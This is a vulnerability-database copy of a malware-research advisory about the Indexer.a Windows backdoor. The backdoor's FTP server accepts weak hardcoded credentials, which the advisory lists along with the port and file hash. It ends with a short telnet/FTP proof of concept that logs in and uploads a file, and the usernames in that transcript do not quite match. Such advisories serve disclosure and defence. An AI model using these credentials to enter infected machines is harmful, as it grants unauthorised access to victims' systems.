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Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials

CVE Category Price Severity
Not specified CWE-798 Not specified High
Author Risk Exploitation Type Date
Not specified High Local 2021-02-16
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020095

Below is a copy:

Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2b576e7551afe1c7575dc680396f1b5b.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Indexer.a
Vulnerability: Hardcoded Weak Credentials
Description: Indexer.a backdoor runs an FTP server that listens on TCP port 47885 and uses several weak hardcoded credentials "Ronald Reagen", "Boris Becker", "Donald Duck". The credentials can be easily veiwed in the binary using strings util. This can allow anyone with up front knowledge to logon to the infected system.
Type: PE32
MD5: 2b576e7551afe1c7575dc680396f1b5b
Vuln ID: MVID-2021-0091
Dropped files: 
Disclosure: 02/15/2021

Exploit/PoC:
TELNET [Malware_Infected_Host] 47885

220 ICS FTP Server ready                                                                                                
USER Ronald                                                                                                             
331 Password required for Donald.                                                                                       
PASS Reagen                                                                                                              
230 User Donald logged in.                                                                                              
CWD                                                                                                                     
250 CWD command successful. "C:/TEMP/" is current directory.                                                            
PASV                                                                                                                    
227 Entering Passive Mode (192,168,1,10,194,197).                                                                                                                                                            
STOR 1.js                                                                                                               
150 Opening data connection for 1.js.                                                                                   
PASV                                                                                                                    
226 File received ok      


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